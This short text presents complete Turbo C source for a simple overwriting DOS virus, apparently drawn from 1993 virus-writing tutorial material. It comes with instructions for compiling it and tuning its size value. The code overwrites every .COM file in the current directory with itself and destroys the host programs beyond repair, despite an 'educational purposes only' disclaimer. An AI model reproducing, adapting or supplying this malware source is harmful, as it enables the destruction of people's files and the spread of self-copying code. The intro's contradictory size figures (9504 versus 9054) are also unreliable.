virus written in C.

The following virus is an extremely simple overwriting virus written in C. It will infect all .COM files within the current directory, destroying them completely. As it infects each file, it will print "Infecting [FILENAME]" on the screen as a warning. If you compile it to test it, compile it once, then EXE2BIN it and check the resultant size. If it does not equal 9504 bytes, change the line "x=9054;" to the appropriate size value. Do be careful with this virus, because while it is a primitive one, it will destroy any .COM files that it hits.

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/* This is a simple overwriting virus programmed in Turbo C */
/* It will infect all .COM files in the current directory */
/* Infections destroy the programs and cannot be cured */
/* It was presented in Virology 101 (c) 1993 Black Wolf */
/* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */

#include
#include
#include

FILE *Virus,*Host;
int x,y,done;
char buff[256];
struct ffblk ffblk;

main()
{
done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
while (!done) /* Loop for all COM's in DIR*/
{
printf("Infecting %s\n", ffblk.ff_name); /* Inform user */
Virus=fopen(_argv[0],"rb"); /* Open infected file */
Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */

x=9504; /* Virus size - must */
/* be correct for the */
/* compiler it is made */
/* on, otherwise the */
/* entire virus may not*/
/* be copied!! */
while (x>256) /* OVERWRITE new Host */
{ /* Read/Write 256 byte */
fread(buff,256,1,Virus); /* chunks until bytes */
fwrite(buff,256,1,Host); /* left < 256 */
x-=256;
}
fread(buff,x,1,Virus); /* Finish off copy */
fwrite(buff,x,1,Host);
fcloseall(); /* Close both files and*/
done = findnext(&ffblk); /* go for another one. */
}
/* Activation would go */
/* here */
return (0); /* Terminate */
}
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